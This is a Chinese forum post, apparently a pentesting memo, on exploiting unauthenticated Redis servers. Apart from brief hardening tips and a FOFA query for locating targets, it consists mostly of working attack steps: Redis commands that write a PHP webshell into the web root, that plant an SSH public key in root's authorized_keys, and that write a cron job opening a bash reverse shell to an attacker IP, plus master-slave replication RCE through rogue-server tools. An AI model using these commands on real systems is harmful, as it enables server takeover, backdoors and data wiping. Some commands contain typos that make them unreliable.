redis使用备忘录

打印 上一主题 下一主题

主题 1797|帖子 1797|积分 5391

fofa:

icon_hash="864611937"

防护:

redis的安全设置:设置完毕,需要重加载配置文件启动redis

1.绑定内网ip地址进行访问
2. requirepass设置redis密码
3.保护模式开启protected-mode开启(默认开启)
4.最好把端口更改
5.单独为redis设置一个普通账号,启动redis。

1.redis 未授权:

条件:

(1)redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则制止其他非信任来源ip访问等相干安全策
略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

危害:

1、攻击者无需认证访问到内部数据,可能导致敏感信息泄露,攻击者也可以实行flushall来清空全部数据
2、攻击者可通过EVAL实行lua代码或通过数据备份功能往硬盘写入后门,如果Redis是以root身份运行,黑客可以给root账户写入SSH公钥文件,直接登岸目的服务器
测试流程:
redis-cli -h ip



2.redis 写 webshell

弊端原理:

靶机的redis存在未授权访问,并且开启了web服务,知道了web目录的路径,并具有文件读写增编削查的权限,即可通过redis在指定的web目录下写入一句话木马,用菜刀毗连可到达控制服务器的目的

使用:

Config set dir /var/www/html → 切换到网站的根路径
Config set dbfilename yy.php →在硬盘中生成木马文件
Set XXX "\n\n\n<?php evaI($_REQUEST[8]);?>\n\n\n" ----> \n 为换行,区分开来
save

浏览器看是否上传乐成:ip/文件名
实行 phpinfo: IP/文件名?8=phpinfo()

3.redis 密钥登录 ssh

原理:

弊端原理:在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改
数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.kevs,把缓冲的数据生存在
文件里,如许就可以在服务器端的/root/.ssh下生成一个授权的key。

使用条件:

redis对外开放,且是未授权访问状态,并且redis服务ssh对外开放,可以通过key登入

攻击机上(kali) 创建ssh-rsa也就是生成key这里密码设置成空全部默认就行 → ssh-keygen-trsa
ssh-keygen -t rsa #生成公钥
cd /root/.ssh #切换到 ssh 目录
Is
cat id_rsa.pub #查看公钥

redis-cli -h 192.168.33.134 #毗连目的主机redis
config get dir #查抄当前生存路径
config get dbfilename #查抄生存文件名
config set dir /root/.ssh/ #设置生存路径
config set dbfilename authorized_keys #设置生存文件名
set xz"\n\n\n 公钥 \n\n\n" #将公钥写入xz健
save #进行生存
ssh -i id_rsa root@192.168.91.131 #毗连主机

4.使用筹划任务反弹 shell

弊端原理:

使用Redis未授权弊端,可以通过写入文件到体系筹划任务目录I/var/spool/cron下来实行。

使用:

攻击机开启监听 → nc-lvvp 9999

redis-cli -h 192.168.33.1341 #毗连redis
flushall #清除全部键值
config set dir /var/spool/cron #设置生存路径
config set dbfilename root #生存名称
set xz "\n\n***** bash -i >& /dev/tcp/192.168.91.132/9999 0>&1 \n\n" #将反弹shell写入xz键值
save #写入生存路径的shell文件

5.远程主从复制 RCE

原理:

弊端原理:弊端存在于4.x、5.x版本中,Redis提供了主从模式,主从模式教唆用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis下令,通过写c语言并编译出.So文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可实行下令。

使用:

redis-rogue-server工具下载地址:
https://github.com/nob0dyCN/redis-rogue-server
该工具无法对Redis密码进行Redis认证,也就是说该工具只得当目的存在Redis未授权访问弊端时使用

如果存在密码可以使用下面这个工具。Awsome-Redis-Rogue-ServerI具下载地址:
https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

python3 redis-rogue-server.py --rhost 192.168.91.162 --lhost 192.168.91.132
输入 r,反弹 shell 输入 i 实行下令

6.本地主从复制

攻击机:python3 redis_rogue_server.py -v -path exp.so
config set dir /tmp
//一般tmp目录都有写权限,以是选择这个目录写入
config set dbfilename exp.so
//设置导出文件的名字
slaveof 192.168.190.128 15000
//进行主从同步,将恶意so文件写入到tmp目录
module load./exp.so
//加载写入的恶意so文件模块
module list
//查看恶意so有没有加载乐成,重要看有没有"system"
system.rev 192.168.91.132 1234



免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

去皮卡多

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表